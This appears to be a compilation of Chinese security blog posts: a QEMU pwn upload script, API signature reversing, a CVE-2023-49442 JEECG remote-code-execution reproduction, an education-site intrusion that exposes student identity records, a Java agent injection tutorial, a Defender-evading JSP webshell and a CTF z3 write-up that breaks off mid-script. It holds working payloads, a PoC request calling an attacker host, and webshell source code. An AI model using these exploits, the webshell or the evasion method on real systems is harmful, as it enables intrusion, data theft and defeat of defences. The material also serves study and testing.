[4] exp.c 如何食用? # exp.py from pwn import * import time, os context.log_level = "debug" p=remote("127.0.0.1",9999) os.system("tar -czvf exp.tar.gz ./exp") os.system("base64 exp.tar.gz > b64_exp") f = open("./b64_exp", "r") p.sendline() p.recvuntil("~ #") p.sendline("echo '' > b64_exp;") count = 1 while True:    print('now line: ' + str(count))    line = f.readline().replace("\n","")    if len(line)<=0:        break    cmd = b"echo '" + line.encode() + b"' >> b64_exp;"    p.sendline(cmd) # send lines    #time.sleep(0.02)    #p.recv()    p.recvuntil("~ #")    count += 1 f.close() p.sendline("base64 -d b64_exp > exp.tar.gz;") p.sendline("tar -xzvf exp.tar.gz") p.sendline("chmod +x ./exp;") p.sendline("./exp") p.interactive() [5] 结语 本来以为 QEMU 是我走向内核态的第一步,但当我用 gdb 把它调起来的时候才发现,QEMU 也只是操作系统上的一个程序,跟我们平时打的用户态区别不大,也是 leak 然后劫持控制流去 getshell 但虚拟化和QEMU知识的缺失也让我“架空学习”,勿以浮沙筑高台,有时间还是要回过头来把基础筑牢的,现在对这道题理解的抽象程度还是太高了,应该继续打开它、研究它。
[实战]API防护破解之签名验签
前言: 传统的接口在传输的过程中,是非常容易被抓包进行篡改,从而进行中间人攻击。 这时候我们可以通过对参数进行签名验证,如果参数与签名值不匹配,则请求不通过,直接返回错误信息,从而防止黑客攻击或者大大增加了黑客攻击的成本。 白帽子在挖洞的时候也经常会遇到这种情况,大多数不会逆向的白帽子则会放弃这些有着攻击成本的接口。大多数也会有这样子的想法,这些个接口都加了防护了,说明厂商对这个接口挺重视的,肯定做了安全检测,自然是不可能有洞可捡了。反过来想,厂商正是因为加了防护从而对代码疏忽了,所以这些地方恰好就是挖逻辑漏洞的突破口。 平台:aHR0cHM6Ly93d3cudnVsYm94LmNvbS8= 厂商:某企业src 正文: 开局一个搜索框 输入值抓包,接口携带了一个sign参数。 技巧 此处有两种方法逆向找出对应的加密点 第一种是笨方法,直接搜索对应的sign值去找到其加密的关键位置。 第二种是找到发包的地方,一直跟栈到明文加密的地方。 搜索sign,网站里面出现了很多sign关键词,不利于我们进行逆向分析 从查看请求发起的相关进程(脚本)去进行发包跟栈 进入发包的地方打断点。 回溯跟栈,找找有没有比较显眼的关键词。 大概跟了几个栈找到了sign关键词,但是并不确定这个地方的sign参数是不是我们发包的那个sign参数,打下断点盲测一下。 再次发包的时候,断点断住了。这个sign参数是一个f对象的一个函数,并不是一个sign参数值。而我们想要找到的是sign参数值,经过猜测,这个断点能够在携带sign参数的那个发包时断住,就肯定与sign参数有关。直接进入函数内部查看。 映入眼帘的是一个f函数,将断点断到返回值的地方,查看一下返回值是什么呢。 在控制台打印一下返回值。很眼熟,很像我们发包的时候携带的参数 分析一下f函数,看看sign参数在哪里生成的。 sign是在5790行被赋值的。 可以看出sign参数是appSignKey,keyword,noncestr,serverTimestamp,source,timestamp拼接之后传进了s函数生成的。除了appSignKey是代码生成的,其余都是发包里面携带的明文。 appSignKey参数 从f函数里面代码可以分析出,appSignKey是由n赋值的,n又是由c经过一段三元表达式生成的。c是一段字符串,直接上手扣代码。 生成n的三元表达式用到了arguments,直接到浏览器复制arguments var c = "10f6cf80184377cd5487b4746a8a67da17540449fa40b408f13ccdd3d3059cb394c0e1569043eed2" arguments = { "0": {   "keyword": "A型胸腺瘤",   "source": 1,   "serverTimestamp": 1706072080923 }, "1": "4bTogwpz7RzNO2VTFtW7zcfRkAE97ox6ZSgcQi7FgYdqrHqKB7aGqEZ4o7yssa2aEXoV3bQwh12FFgVNlpyYk2Yjm9d2EZGeGu3" } var n = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : c console.log("appSignKey--->"+n)ole.log(n) sign参数 有了appSignKey参数,就可以与发包参数拼接传进s函数。 appSignKey=4bTogwpz7RzNO2VTFtW7zcfRkAE97ox6ZSgcQi7FgYdqrHqKB7aGqEZ4o7yssa2aEXoV3bQwh12FFgVNlpyYk2Yjm9d2EZGeGu3&keyword=A型胸腺瘤&noncestr=20565646&serverTimestamp=1706072080923&source=1&timestamp=1706081268690 看一眼就知道是md5加密,完结撒花。 结尾: 部分数据代码已做脱敏处理。
CVE-2023-49442 利用分析
1. 漏洞介绍 JEECG(J2EE Code Generation)是开源的代码生成平台,目前官方已停止维护。JEECG 4.0及之前版本中,由于/api接口鉴权时未过滤路径遍历,攻击者可构造包含 ../的url绕过鉴权。攻击者可构造恶意请求利用 jeecgFormDemoController.do?interfaceTest接口进行jndi注入攻击实现远程代码执行。注:Jeecg 与 Jeecg-boot 非相同应用。Jeccg官方地址为:https://gitee.com/jeecg/jeecg 2. 漏洞流程图分析 3. 环境搭建 由于版本比较老,是19年8月的项目,我就直接按照官方文档进行搭建了,期间我尝试使用IDEA+Maven搭建,但是始终飘红报错,于是老老实实地按照官方文档使用eclipse+Maven环境搭建,我的本地配置如下: 官方文档写的比较详细我就不再赘述了:http://idoc.jeecg.com/1275933 最新版eclipse apache-maven-3.1.1-bin JDK1.8_102(这里有个坑就是jdk1.8不能与tomcat6兼容,我们运行时候要使用tomcat7:run的命令) Mysql5.7 Kali虚拟机(充当vps的功能) 4. 漏洞详情分析 由于这个项目已经是19年更新的了,我们去查看使用的fastjson版本发现是1.2.31,是属于存在漏洞的版本。 感觉Eclipse审计起来不太方便,我使用IDEA来代替使用来审计。 现在我们已确定了Fastjson版本存在问题,进一步寻找触发Fastjson的漏洞点。 在审计Fastjson漏洞的时候我们着重关注parseObject和parse这两个关键词。我们在IDEA中按下Ctrl+shift+f进行查找: 发现调用了JSONObject.parseObject(result),发现全都是在src/main/java/org/jeecgframework/core/util/HttpRequest.java文件中进行了调用。分别是函数sendGet(String url, String param)以及sendPost(String url, String param)。 然后继续寻找在哪里调用了这两个函数: 同样的方法,发现在src/main/java/com/jeecg/demo/controller/JeecgFormDemoController.java中调用了这两个函数: /** * 常用示例Demo:接口测试 * @param request * @param response * @return AjaxJson */ @RequestMapping(params = "interfaceTest") @ResponseBody public AjaxJson testInterface(HttpServletRequest request,HttpServletResponse response) { AjaxJson j=new AjaxJson(); try { String serverUrl = request.getParameter("serverUrl");//请求的地址 String requestBody = request.getParameter("requestBody");//请求的参数 String requestMethod = request.getParameter("requestMethod");//请求的方式 if(requestMethod.equals("POST")){ if(requestBody !=""){ logger.info("----请求接口开始-----"); JSONObject sendPost = HttpRequest.sendPost(serverUrl, requestBody); logger.info("----请求接口结束-----"+sendPost); j.setSuccess(true); j.setObj(sendPost.toJSONString()); }else{ j.setSuccess(false); j.setObj("请填写请求参数"); } } if(requestMethod.equals("GET")){  logger.info("----请求接口开始-----");  JSONObject sendGet = HttpRequest.sendGet(serverUrl, requestBody);  logger.info("----请求接口结束-----"+sendGet.toJSONString());  j.setSuccess(true);  j.setObj(sendGet); } } catch (Exception e) { j.setSuccess(false); j.setObj("服务器请求失败"); e.printStackTrace(); } return j; } 这段代码接受三个参数:serverUrl、requestBody、requestMethod。然后根据requestMethod的值决定调用不同的方法:HttpRequest.sendPost 或 HttpRequest.sendGet。 我们直接发包访问该接口会鉴权被检测到没有登录,直接302跳转,我们得想办法bypass: 然后我们根据漏洞简介定位/api未鉴权接口代码:src/main/java/org/jeecgframework/core/interceptors/AuthInterceptor.java 也就是说对于以 /api/ 开头的请求路径,即使用户未登录,也会被允许访问,不会被拦截器拦截。 加上我们查看引用的Maven依赖中的alwaysUseFullPath为值默认false,这样的话程序在处理发包中会对uri进行标准化处理。于是我们就可以使用/api/../的方式来进行bypass 比如说我们的poc链接是/jeecg/api/../jeecgFormDemoController.do?interfaceTest= 然后进行标准化处理后就会变成/jeecg/jeecgFormDemoController.do?interfaceTest= 从而绕过登录限制。 然后就是针对fastjson1.2.31版本的漏洞利用了,这里我使用了集成的工具JNDIExploit-1.4-SNAPSHOT 利用方法就是先在我们的Kali虚拟机(vps作用)上开启监听: 这里因为我的虚拟机上的java版本过高,Java 9及以上版本引入了模块化系统,其中的java.xml模块不会默认导出com.sun.org.apache.xalan.internal.xsltc.runtime包,因此导致com.feihong.ldap.template.TomcatEchoTemplate类无法访问com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet类。所以通过命令行参数--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc. java --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.16.131 然后用python公开一个poc.txt 然后直接调用该接口使用下面的Poc即可: POST /jeecg/api/../jeecgFormDemoController.do?interfaceTest= HTTP/1.1 Host: 127.0.0.1:8081 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded cmd: whoami serverUrl=http://192.168.16.131:8081/poc.txt&requestBody=123&requestMethod=GET 5. 总结 一开始准备复现这个漏洞是以为JEECG-BOOT爆这么大的前台RCE漏洞了,后面发现原来是19年的停止维护的版本。整个复现流程下来不算轻松,主要是老版本的环境Debug问题,通过本漏洞的复现学习,对fastjson漏洞和alwaysUseFullPath绕过鉴权漏洞有了更多的体会。
记一次某edu单位的渗透
0x01 信息收集 第一步当然是从信息收集开始,因为通常主域名基本不会含有高危漏洞。可以通过子域名->子域名端口扫描的方式去进行一个信息收集用来提高攻击面。这里是用fofa进行攻击面的扩大。(如果fofa脆弱系统较少可以自己爆破子域名+端口1-65535扫描的方式去进行渗透测试)。 然后把资产去重,可以使用关键词用来寻找一些存在漏洞概率高一些的系统。比如搜索有登录的系统,可以添加body="登录"这种关键字去进行查找。比如这里是找到了一个日志系统。 也可以通过googlehack进行搜索学号,身份证之类的信息。可以通过学号身份证这些信息用来登录某些系统,大部分的学校系统的口令格式是学号/身份证后6位。(这里随便找一个案例) 0x02 命令执行 可以根据通用系统的历史漏洞去对该系统进行渗透测试。 首先尝试默认口令进行登录 admin/panabit 未果。 然后建议百度搜索时间设置为一年内,可以省不少时间实际测试感觉一年之前的漏洞修复概率比较高。(可能是一年一次hvv的原因?) 也可以用微信的公众号搜索,比较推荐,因为准确率比较高,都是一些新出的漏洞。 然后使用任意用户创建漏洞添加一个用户 POST /singleuser_action.php HTTP/1.1 Host: xxxx Cookie: xxxx Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="92" Accept: */* X-Requested-With: XMLHttpRequest Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: xxxx Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 574 { "syncInfo": { "user": { "userId": "001", "userName": "001", "employeeId": "001", "departmentId": "001", "departmentName": "001", "coporationId": "001", "corporationName": "001", "userSex": "1", "userDuty": "001", "userBirthday": "001", "userPost": "001", "userPostCode": "001", "userAlias": "001", "userRank": "001", "userPhone": "001", "userHomeAddress": "001", "userMobilePhone": "001", "userMailAddress": "001", "userMSN": "001", "userNt": "001", "userCA": "001", "userPwd": "001", "userClass": "001", "parentId": "001", "bxlx": "001" },"operationType": "ADD_USER" } } 成功登录后台 然后使用后台命令执行进行getshell,成功进入内网。系统维护->终端命令 0x03 内网渗透 首先使用fscan扫描一波内网。 其中有个ftp弱口令,这里stuinfo.sql可能是某个数据库的备份文件。根据名字猜测是学生信息的备份。 下载之后导入本地数据库打开,果然泄露了一堆身份证,学号这些信息。 之后还在另外一个back文件夹中发现了另外一个xls表格, ssh弱口令一堆,随便 h3c默认密码登录 0x04 任意密码找回 这里是另外一个外网系统。因为内网属实是没啥东西所以又得重新去外网找找有没有其他漏洞。 确定存在用户,输入用户名会发送一个包,不存在用户返回0,存在返回1 点击忘记密码,随便输入密保问题跟答案。 Burp抓包,将验证返回包中的false改为true。 然后就发现跳转到了修改密码的页面 这时直接修改一波密码,ok成功登录 0x05 总结 主要内网的一些问题还是弱口令使用较多,而且老版本的漏洞基本不修复的问题。另外一提进行渗透测试必须获得目标单位的合法授权,并且在合规框架下进行。在任何情况下,未经授权的渗透测试行为都是违法的,可能导致严重的法律后果。因此,在进行任何安全测试之前,请务必与目标单位达成明确的协议和授权。
Java agent技术的注入利用与避坑点
什么是Java agent技术? Java代理(Java agent)是一种Java技术,它允许开发人员在运行时以某种方式修改或增强Java应用程序的行为。Java代理通过在Java虚拟机(JVM)启动时以"代理"(agent)的形式加载到JVM中,以监视、修改或甚至完全改变目标应用程序的行为。 Java agent 可以做什么? 安全监控和审计: 通过Java代理,可以在应用程序中注入代码以监视其行为并记录关键事件。这可以用于安全审计目的,以确保应用程序不受到恶意行为或违规操作的影响。 安全验证和授权: Java代理可以拦截对受保护资源的访问,并执行安全验证和授权操作。通过代理,可以实现访问控制策略,确保只有经过授权的用户或系统可以访问特定资源。 安全加固: 通过Java代理,可以对应用程序进行安全加固,例如实时检测和防御攻击,包括代码注入、SQL注入、跨站点脚本攻击等。代理可以拦截请求,并根据安全策略进行处理,从而提高应用程序的安全性。 加密和解密: Java代理可以用于实现端到端的数据加密和解密,保护敏感数据在传输过程中的安全性。代理可以拦截数据流,对数据进行加密或解密操作,以确保数据在传输过程中不会被窃取或篡改。 安全日志记录: Java代理可以用于记录应用程序的安全日志,包括用户操作、异常事件、安全警报等。通过代理,可以将安全日志发送到中央日志服务器进行集中管理和分析,以便及时发现和应对安全威胁。 静态Agent使用 创建Maven项目,写一个类PreMainTraceAgent,使用Maven编译并打成jar包。 package com.example; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; public class PreMainTraceAgent { public static void premain(String agentArgs, Instrumentation inst) { System.out.println("agentArgs : " + agentArgs); inst.addTransformer(new DefineTransformer(), true); } static class DefineTransformer implements ClassFileTransformer { static int counts=0; @Override public byte[] transform( ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer ) throws IllegalClassFormatException { System.out.println("premain load Class:" + className); System.out.println("filter "+(counts++)+" class"); return classfileBuffer; } } } 打成jar包之后我们要注意META-INF目录下的MSNIFEST.MF文件,MANIFEST.MF文件是 Java 归档文件(如 JAR文件)的一部分,用于描述归档文件的元数据信息和配置。它通常位于归档文件的根目录下。 一些常见的属性我们需要了解 Manifest-Version: 描述了 MANIFEST.MF 文件的版本。 Created-By: 描述了创建该归档文件的工具名称和版本。 Main-Class: 描述了可执行 JAR 文件的入口类(Main类),当您执行 JAR 文件时,Java虚拟机会自动寻找并执行该类中的main方法。 Class-Path: 描述了归档文件中包含的依赖项 JAR 文件的路径,以便 Java 虚拟机在运行时能够找到并加载这些依赖项。 在构建和部署 Java 应用程序时,MANIFEST.MF文件可以帮助指定各种元数据信息,使得应用程序可以更好地被管理和执行。例如,当您创建一个可执行的JAR 文件时,通过指定 Main-Class 属性,可以告诉 Java 虚拟机该 JAR文件的入口点是哪个类。 另外创建一个项目,写一个主函数,内容随意,配置虚拟机选项。这里-javaagent:后面跟上上面项目jar包的绝对路径。 运行结果如图: 可以看到premain方法中的代码成功的执行在了Main函数之前。这种使用premain方法在Main函数前执行的也被成为静态agent 动态Agent使用 首先是被代理部分(单独的项目) package com.example; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; public class AgentMain { public static void agentmain(String agentArgs, Instrumentation instrumentation) { instrumentation.addTransformer(new MyTransformer(),true); } public static class MyTransformer implements ClassFileTransformer { static int count = 0; @Override public byte[] transform( ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { System.out.println("hello world");//这里就是我们能看到的输出。 return classfileBuffer; } } } 接下来就是使用Maven打成jar包 默认情况下META-INFMANIFEST.MF文件中有这些内容 Manifest-Version: 1.0 Created-By: Maven JAR Plugin 3.3.0 Build-Jdk-Spec: 11 但是这些是不够的,我们需要指出被代理的类。 Manifest-Version: 1.0 Agent-Class: com.example.AgentMain Can-Redefine-Classes: true Can-Retransform-Classes: true Agent-Class:指定了代理的入口类。这个属性告诉 Java 虚拟机代理应该从哪个类的 premain 或 agentmain方法开始执行。premain 方法用于静态代理(在 JVM启动时加载),而 agentmain 方法用于动态代理(在 JVM运行时加载)。代理的入口类必须包含其中一个方法。 Can-Redefine-Classes:指定了代理是否可以重新定义类。如果设置为 true,代理将允许重新定义已经加载的类,这意味着你可以修改已经加载的类的字节码。这对于某些代理操作,如热代码替换,非常有用。 Can-Retransform-Classes:指定了代理是否可以重新转换类。如果设置为 true,代理将允许重新转换已经加载的类,这意味着你可以多次修改已经加载的类的字节码。这对于一些特定的代理操作也是非常有用的,如AOP(面向切面编程)。 因为是动态加载所以我们不需要在虚拟机启动选项中指定jar包的路径。 接下来写主程序的测试类 package org.example; import com.sun.tools.attach.VirtualMachine; import java.io.File; import java.lang.management.ManagementFactory; public class TestMain { public static void main(String[] args) { String agentJarPath = "C:Users86186DesktopstudyJavauntitledtargetuntitled-1.0-SNAPSHOT.jar"; File agentJarFile = new File(agentJarPath); if (!agentJarFile.exists()) { System.err.println("Agent JAR file not found."); return; } String name = ManagementFactory.getRuntimeMXBean().getName(); String pid = name.split("@")[0]; if (pid == null) { System.err.println("Unable to find process ID."); return; } String targetClassName = "AgentMain"; try { VirtualMachine vm = VirtualMachine.attach(pid); vm.loadAgent(agentJarPath,targetClassName); vm.detach(); } catch (Exception e) { e.printStackTrace(); } } } 这里在获取进程号的时候会因为版本的不同而出现错误,java9以下默认是正常的,java9以上会出现报错,我们需要在虚拟机启动参数中加上-Djdk.attach.allowAttachSelf=true。 运行结果: 为什么结果中有多个helloworld 这里有讲一下为什么我们在代码中之用了一次sout,但是在结果中却出现了多个helloworld。 MyTransformer类中的transform方法中的输出语句只会在类被加载时执行一次,但是它会对每个类文件调用一次。由于一个类可能会由多个ClassLoader加载,或者同一个ClassLoader可能会加载多次,因此会导致多次输出。 这种情况通常在Java应用程序中使用了多个ClassLoader时发生,例如Web应用程序中的热部署或者OSGi环境中。每次类被加载,transform方法都会被调用一次,因此会看到多次输出。 我们可以修改一下代码做测试,这里我在每个helloworld后添加了被加载类的名字 修改后的输出结果: 实战示例:修改目标虚拟机中执行的程序 第一步 首先我们写出我们正在执行的程序:循环打印helloworld。 package org.example; import static java.lang.Thread.sleep; public class Main { public static void main(String[] args) throws InterruptedException { while(true) { hello(); sleep(1500); } } public static void hello(){ System.out.println("Hello World!"); } } 第二步 准备我们的agentmain和ClassFileTransformer实现类。 package com.example; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.lang.instrument.Instrumentation; import java.lang.instrument.UnmodifiableClassException; import java.security.ProtectionDomain; public class AgentMain { public static void agentmain(String agentArgs, Instrumentation instrumentation) throws UnmodifiableClassException { Class [] classes = instrumentation.getAllLoadedClasses(); //获取目标JVM加载的全部类 for(Class cls : classes){ if (cls.getName().equals("org.example.Main")){ instrumentation.addTransformer(new HackTransform(),true); instrumentation.retransformClasses(cls); } // System.out.println(cls.getName()); } } } package com.example; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import java.io.IOException; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.security.ProtectionDomain; public class HackTransform implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { if (className.equals("org/example/Main")) { try { System.out.println(className); ClassPool classPool = ClassPool.getDefault(); if (classBeingRedefined != null) { ClassClassPath ccp = new ClassClassPath(classBeingRedefined); classPool.insertClassPath(ccp); } CtClass ctClass = classPool.get("org.example.Main"); System.out.println(ctClass); CtMethod ctMethod = ctClass.getDeclaredMethod("hello"); //设置方法体 String body = "{System.out.println("[+]Hacker!!");}"; ctMethod.setBody(body); ctClass.defrost(); return ctClass.toBytecode(); } catch (Exception e) { e.printStackTrace(); } } return null; } } 第三步 把第二步中的两个类打成jar包。并修改其中MANIFEST.MF中的内容。 MANIFEST.MF中的内容 Manifest-Version: 1.0Agent-Class:com.example.AgentMainCan-Redefine-Classes: trueCan-Retransform-Classes:true 第四步 写我们的注入代码 package org.example; import com.sun.tools.attach.*; import java.io.IOException; import java.util.List; public class inject { public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { //调用VirtualMachine.list()获取正在运行的JVM列表 List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : list) { System.out.println(vmd.displayName()); if (vmd.displayName().equals("org.example.Main")) { //连接指定JVM VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); String agentJarPath = "C:Users86186DesktopstudyJavauntitledtargetuntitled-1.0-SNAPSHOT.jar"; //加载Agent virtualMachine.loadAgent(agentJarPath,"com.example.AgentMain"); //断开JVM连接 virtualMachine.detach(); } } } } 第五步 执行即可(先运行主java程序,后运行注入程序)
某资产管理系统打点过程中的免杀经历
上周初,被扔过来单位内部的一个链接,让渗透一下,本以为三下五除二很快就能测完,没想到在对抗杀软时费了一番功夫,再加上杂七杂八的事儿,经过了一个星期才测完(# ̄~ ̄#)。打开链接,见到一个熟悉的登录框,是一个资产管理系统。 在进行了一番端口目录、认证机制、会话管理、授权访问等方面的检查后发现了一些问题,这里不做赘述,此次重点想写写拿shell的经历。进入主页面,没用多长时间就找到了上传点,而且有两个。一个是头像上传,涉及裁剪、压缩等操作。 另一个是工具上传,允许直接上传文件(包)。两全伤害取其轻,就用这个。 创建个txt,随便加点内容进去,burp抓包看看这个功能的情况。 上传成功,并且有回显路径,有戏。 访问一下文件地址也展现出来了,直接上马子试试。 被阻断,不允许上传.java、.class、.jsp、.html等类型文件。一看就是之前经历过渗透测试,吃过亏(事后查了一下这家软件公司,做了不少企业的资产管理系统,是个成熟的项目,而且公司在2023年中已经上市,尽管在北交所,也必然会遵循一定的代码规范)。刚才上传用的是冰蝎4,查看burp的history中并无请求出现,证明是前端验证。尝试绕过前端验证,直接将冰蝎源码上传。 成功绕过,并且返回了文件路径……这就要完活儿了?!似乎有些轻松。访问一下: 404,文件没了。紧接着又拿哥斯拉试了一遍,同样是返回了路径,同样是404……猜测可能有杀软,落地文件被删除。接下来要做免杀了,使用在线工具对webshell进行变异,上传后一路404,更加确定杀软的存在。并且这款杀软的静态特征检测库还很全,如果仅仅混淆边边角角的代码是无法过它的,猜测它是能够匹配关键代码、关键API。 变异的厉害了还抛出了500,破坏了webshell自身的逻辑,甚至是添加了错误代码。看来省事儿的方式效果不理想,想要落地还是得自己动手,ε=(´ο`*)))唉。 最后使用了一个加长版的一句话木马才成功落地,请求如下: 访问文件路径并带上whoami。 直接就是administrator管理员。此马儿与传统的一句话jsp一样,也是用Runtime来执行命令,只不过前面加了一个参数pwd固定值判断,后面使用System.out来print一个String,并且这个String是命令执行的结果。 <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %> 但是蚁剑不给力,连接时报500。尝试了多种设置均以失败告终,哪位大神研究过蚁剑还请指导一下,Thanks♪(・ω・)ノ。 测试到这个地步对于这个活儿来说其实可以交差了,已经拿到了权限,但如果想进行横向的话是无法继续利用的,所以还是要做免杀。掏出珍藏多年的idea(鄙视自己一下ε(┬┬﹏┬┬)3),打开冰蝎,调好格式,尝试做混淆。鉴于前面踩过坑,已经了解到该杀软能够检测到关键代码,所以直接分析源码。作为webshell,回显是必须的功能,而对于冰蝎来说,response数据来自于request.getReader().readLine()。因此直接对第18行动手,先用注释尝试一下,随便填加一些字符。 发送请求: 成功。访问一下回显路径: 空白页,没有报404,证明文件确实落地了,没有被杀掉。上冰蝎: 连接成功!免杀完毕。这次是真的可以交差了。进来后第一件事儿就是看看到底是哪个杀软在作祟: MsMpEng.exe,微软的Windows Defender。 好奇心驱使,又拿了一个原版的冰蝎本地验证一下,果不其然,被秒杀(图中右上角的文件): 总结,这次拿shell的过程主要是在对抗杀软上耗费了很多时间,其次是在寻找杀软的进程上。因为服务器上一般都有专业杀毒软件或者HIDS防护,没有想到是Windows自己的Defender。虽然在写的时候只用一句话一张图带过,但在搜索进程的时候还特地整理了一份常见杀软的表格,挨个儿比对才有了最后那张图。
矩阵爆破逆向之条件断点的妙用
不知道你是否使用过IDA的条件断点呢?在IDA进阶使用中,它的很多功能都有大作用,比如:ida-trace来跟踪调用流程。同时IDA的断点功能也十分强大,配合IDA-python的输出语句能够大杀特杀! 那么本文就介绍一下这个功能点,使用z3来秒解题目。 条件断点 什么是条件断点呢? 条件断点(ConditionalBreakpoint)是一种在代码调试过程中设置的断点,它可以根据特定的条件暂停程序的执行。当程序执行到设置了条件断点的代码行时,如果该条件为真,则程序会暂停执行;如果该条件为假,则程序会继续执行。这种调试技术常用于复杂的程序调试,能够帮助程序员更快地发现程序中的错误,并提高调试的效率。条件断点可以应用于多种编程语言和开发环境中,如C++、Java、Python等。 与普通的断点大差不差,不同点在于,程序运行到条件断点处时,不会让程序暂停,而是继续执行,并执行我们设置好的脚本。 OK,接下来让我们分析这道题目 初次分析 main函数 flag的格式 打开main函数,发现使用了SIMD指令赋值了一些关键数据 继续分析 看来cry1和cry2是很关键的函数 密文: cry1 发现对我们的输入flag,进行一些转换: 比如:位置顺序和对我们的flag异或一个固定的值。 异或的值是由上下文决定的,但是总是单字节固定 将输入的flag运算完后,转换为 一个int类型的矩阵 初次分析到此结束 cry2 条件断点妙用 经过动调,我发现关键的加密就这三个汇编指令。 意思:取flag->与一个固定的矩阵相乘->输出加密之后的矩阵 如果我们能够打印,加密前的flag和相乘的矩阵元素,就可以逆推明文啦 主要是不清楚,矩阵相乘的顺序,可能是打乱的,那样只能这样来做。 使用了:条件断点 这三个断点依次使用下面3个条件输出 主要是这两个命令: get_reg_value("rbx") 获取rbx寄存器的值 idc.get_wide_dword() 获取某地址的值(4字节读取)  print("[rbx] = ",hex(idc.get_wide_dword(get_reg_value("rbx"))))    print("rax = ",hex(get_reg_value("rax")),"[rdi]=  ",hex(idc.get_wide_dword(get_reg_value("rdi"))))    print("output,rax = ",hex(get_reg_value("rax")),"n") 然后edit breakpoint OK,见证奇迹的时刻到了,运行程序,成功输出: 推导 因为密文说16字节的,我们将真正的密文提取出来和我们输入假flag产生的密文也提取出来,进行对比 Python 密文  unsigned int data[16] = {  0x00000436, 0x000002B4, 0x000002AF, 0x00000312, 0x000002EA, 0x00000253,  0x0000020A, 0x0000028E,  0x000001C6, 0x0000015C, 0x0000017C, 0x0000017A, 0x0000069E, 0x000004AE,  0x000004B1, 0x00000522 };    假flag输出的结果密文  unsigned int data[16] = {  0x00000466, 0x000002F9, 0x00000329, 0x0000046E, 0x00000290, 0x00000184,  0x000001E4, 0x0000023A,  0x00000183, 0x000000C1, 0x0000011E, 0x00000122, 0x00000646, 0x00000467,  0x000004F7, 0x000005EA };    这是根据条件输出得到的规律;    x1*1+x2*5+x3*4+x4*3=0x436  y1*1+y2*5+y3*4+y4*3=0x2B4  z1*1+z2*5+z3*4+z4*3=0x2AF  n1*1+n2*5+n3*4+n4*3=0x312    x1*2+x2*1+x3*2+x4*3=0x2EA  y1*2+y2*1+y3*2+y4*3=0x253  z1*2+z2*1+z3*2+z4*3=0x20A  n1*2+n2*1+n3*2+n4*3=0x28E    x1*2+x2+x3+x4=0x1c6  y1*2+y2+y3+y4=0x15c  z1*2+z2+z3+z4=0x17c  n1*2+n2+n3+n4=0x17a    x1*3+x2*5+x3*4+x4*7=0x69e  y1*3+y2*5+y3*4+y4*7=0x4ae  z1*3+z2*5+z3*4+z4*7=0x4b1  n1*3+n2*5+n3*4+n4*7=0x522 z3解密 解密脚本: Python from z3 import *    # 定义变量  x = [Int(f'x{i}') for i in range(1, 5)]  y = [Int(f'y{i}') for i in range(1, 5)]  z = [Int(f'z{i}') for i in range(1, 5)]  n = [Int(f'n{i}') for i in range(1, 5)]    # 定义目标值  goal = [  0x466,  0x2f9,  0x329,  0x46e,  0x290,  0x184,  0x1e4,  0x23a,  0x183,  0xc1,  0x11e,  0x122,  0x646,  0x467,  0x4f7,  0x5ea ]    # 定义约束条件  constraints = [  x[0]*1 + x[1]*5 + x[2]*4 + x[3]*3 == goal[0],  y[0]*1 + y[1]*5 + y[2]*4 + y[3]*3 == goal[1],  z[0]*1 + z[1]*5 + z[2]*4 + z[3]*3 == goal[2],  n[0]*1 + n[1]*5 + n[2]*4 + n[3]*3 == goal[3],  x[0]*2 + x[1]*1 + x[2]*2 + x[3]*3 == goal[4],  y[0]*2 + y[1]*1 + y[2]*2 + y[3]*3 == goal[5],  z[0]*2 + z[1]*1 + z[2]*2 + z[3]*3 == goal[6],  n[0]*2 + n[1]*1 + n[2]*2 + n[3]*3 == goal[7],  x[0]*2 + x[1] + x[2] + x[3] == goal[8],  y[0]*2 + y[1] + y[2] + y[3] == goal[9],  z[0]*2 + z[1] + z[2] + z[3] == goal[10],  n[0]*2 + n[1] + n[2] + n[3] == goal[11],  x[0]*3 + x[1]*5 + x[2]*4 + x[3]*7 == goal[12],  y[0]*3 + y[1]*5 + y[2]*4 + y[3]*7 == goal[13],  z[0]*3 + z[1]*5 + z[2]*4 + z[3]*7 == goal[14],  n[0]*3 + n[1]*5 + n[2]*4 + n[3]*7 == goal[15] ]    # 创建求解器  solver = Solver()    # 添加约束条件  solver.add(constraints)    # 求解 